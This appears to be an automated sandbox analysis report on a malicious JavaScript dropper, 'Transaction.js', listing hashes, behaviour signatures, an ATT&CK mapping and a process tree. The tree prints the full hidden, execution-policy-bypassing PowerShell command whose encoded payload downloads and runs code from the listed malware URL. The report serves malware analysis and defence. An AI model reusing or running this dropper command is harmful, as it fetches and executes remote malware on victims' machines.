6fa679b595a6942226944f98077bbe75040a77db3b1c5ebdac4542ecad57bfbc

General

Target
Transaction.js
Size 134KB
Sample210804-zz2ze656ss
SHA256 6fa679b595a6942226944f98077bbe75040a77db3b1c5ebdac4542ecad57bfbc
MD5 ffda87ae8127e7b6b061ac1f9c589d16
SHA1 5f379ba6b0adb0427c7a7d8c4f6b12da1d7b762e
SHA512 be0714eb1274796066a1551ef92aaf55616976192ad600903923243b8748a2b8dd48e4b671d3d2492316e152353849fbdfdb4bcb63c162293be1500be112cbe9
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

Source

URLs

ps1.dropper
http://asesoriasconfood.com.co/magazine/magazine.php

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
9	3880	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2200	3880	WerFault.exe	76

Suspicious behavior: EnumeratesProcesses 17 IoCs

pid	Process
3880	powershell.exe
3880	powershell.exe
3880	powershell.exe
2200	WerFault.exe
2200	WerFault.exe
2200	WerFault.exe
2200	WerFault.exe
2200	WerFault.exe
2200	WerFault.exe
2200	WerFault.exe
2200	WerFault.exe
2200	WerFault.exe
2200	WerFault.exe
2200	WerFault.exe
2200	WerFault.exe
2200	WerFault.exe
2200	WerFault.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3880	powershell.exe
Token: SeDebugPrivilege	2200	WerFault.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 900 wrote to memory of 3560	900	wscript.exe	74
PID 900 wrote to memory of 3560	900	wscript.exe	74
PID 3560 wrote to memory of 3880	3560	cmd.exe	76
PID 3560 wrote to memory of 3880	3560	cmd.exe	76

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Transaction.js
1⤵
- Suspicious use of WriteProcessMemory
PID:900
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AYQBzAGUAcwBvAHIAaQBhAHMAYwBvAG4AZgBvAG8AZAAuAGMAbwBtAC4AYwBvAC8AbQBhAGcAYQB6AGkAbgBlAC8AbQBhAGcAYQB6AGkAbgBlAC4AcABoAHAAIgApAA==
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3560
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AYQBzAGUAcwBvAHIAaQBhAHMAYwBvAG4AZgBvAG8AZAAuAGMAbwBtAC4AYwBvAC8AbQBhAGcAYQB6AGkAbgBlAC8AbQBhAGcAYQB6AGkAbgBlAC4AcABoAHAAIgApAA==
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3880
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 3880 -s 2304
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2200

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/3880-120-0x000002154E950000-0x000002154E951000-memory.dmp

Download

memory/3880-125-0x0000021567090000-0x0000021567091000-memory.dmp

Download

memory/3880-130-0x000002154E980000-0x000002154E982000-memory.dmp

Download

memory/3880-131-0x000002154E983000-0x000002154E985000-memory.dmp

Download

memory/3880-132-0x000002154E986000-0x000002154E988000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads